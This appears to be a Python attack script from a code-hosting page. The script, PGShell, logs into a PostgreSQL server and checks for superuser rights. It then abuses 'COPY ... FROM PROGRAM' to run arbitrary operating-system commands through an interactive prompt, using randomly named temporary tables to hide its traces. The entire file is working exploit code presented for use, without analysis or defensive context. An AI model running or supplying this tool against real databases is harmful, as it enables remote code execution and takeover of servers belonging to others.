You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

103 lines
3.3KB

  1. #!/usr/bin/env python3
  2. import argparse
  3. import random
  4. import psycopg2 as pg
  5. rand_str = lambda x: ''.join(random.choices("abcdefghijklmnopqrstuvwxyz", k=x))
  6. class PGShell(object):
  7. def __init__(self, **kwargs):
  8. self.host = kwargs['host']
  9. self.port = kwargs['port']
  10. self.user = kwargs['user']
  11. self.password = kwargs['pass']
  12. self.dbname = kwargs['dbname']
  13. self.tablename = rand_str(random.randint(8, 15))
  14. self.columnname = rand_str(random.randint(2, 5))
  15. self.conn = None
  16. if not self.connect():
  17. exit()
  18. def connect(self):
  19. print(f"[*] Connecting to {self.host}:{self.port}... (db: {self.dbname}, user: {self.user})")
  20. try:
  21. self.conn = pg.connect(f"host={self.host} port={self.port} user={self.user} password={self.password} dbname={self.dbname}")
  22. print("[!] Connected!")
  23. print(f"[*] We will use table {self.tablename} and column {self.columnname} to leverage RCE...")
  24. return True
  25. except:
  26. print("[x] Connection error!")
  27. return False
  28. def do_query(self, query):
  29. cur = self.conn.cursor()
  30. cur.execute(query)
  31. try:
  32. return [x[0] for x in cur.fetchall()]
  33. except:
  34. return None
  35. def init_recon(self):
  36. user = self.do_query("select current_user")[0]
  37. print(f"[*] Connected as user {user}")
  38. self.su = self.do_query(f"select usesuper from pg_catalog.pg_user where usename='{user}'")[0]
  39. if self.su:
  40. print(f"[!] Sweet! {user} is superuser!")
  41. return True
  42. else:
  43. print(f"[x] Unable to leverage RCE... {user} is not a superuser")
  44. return False
  45. def rce(self, command):
  46. self.do_query(f"drop table if exists {self.tablename}")
  47. self.do_query(f"create table {self.tablename}({self.columnname} TEXT)")
  48. self.do_query(f"COPY {self.tablename} from program '{command}'")
  49. data = self.do_query(f"select {self.columnname} from {self.tablename}")
  50. self.do_query(f"drop table {self.tablename}")
  51. return data
  52. def clean(self):
  53. print("\n[*] Cleaning database...")
  54. self.do_query("rollback")
  55. self.do_query(f"drop table if exists {self.tablename}")
  56. def get_args():
  57. p = argparse.ArgumentParser()
  58. p.add_argument("-H", "--host",help="Hostname or IP", default="localhost")
  59. p.add_argument("-p", "--port",help="Port of the service", default="5432")
  60. p.add_argument("-d", "--dbname",help="database to connect", default="postgres")
  61. p.add_argument("-U", "--user",help="Username to connect with", required=True)
  62. p.add_argument("-P", "--pass",help="Password to use", required=True)
  63. return vars(p.parse_args())
  64. def main():
  65. args = get_args()
  66. pgshell = PGShell(**(args))
  67. if not pgshell.init_recon():
  68. return
  69. try:
  70. while True:
  71. user_input = input(f"{pgshell.user}>> ")
  72. try:
  73. for line in pgshell.rce(user_input):
  74. print(line)
  75. print("-"*50)
  76. except Exception as e:
  77. print(f"[x] Error: {e}")
  78. pgshell.clean()
  79. except KeyboardInterrupt:
  80. pgshell.clean()
  81. return
  82. if __name__=='__main__':
  83. exit(main())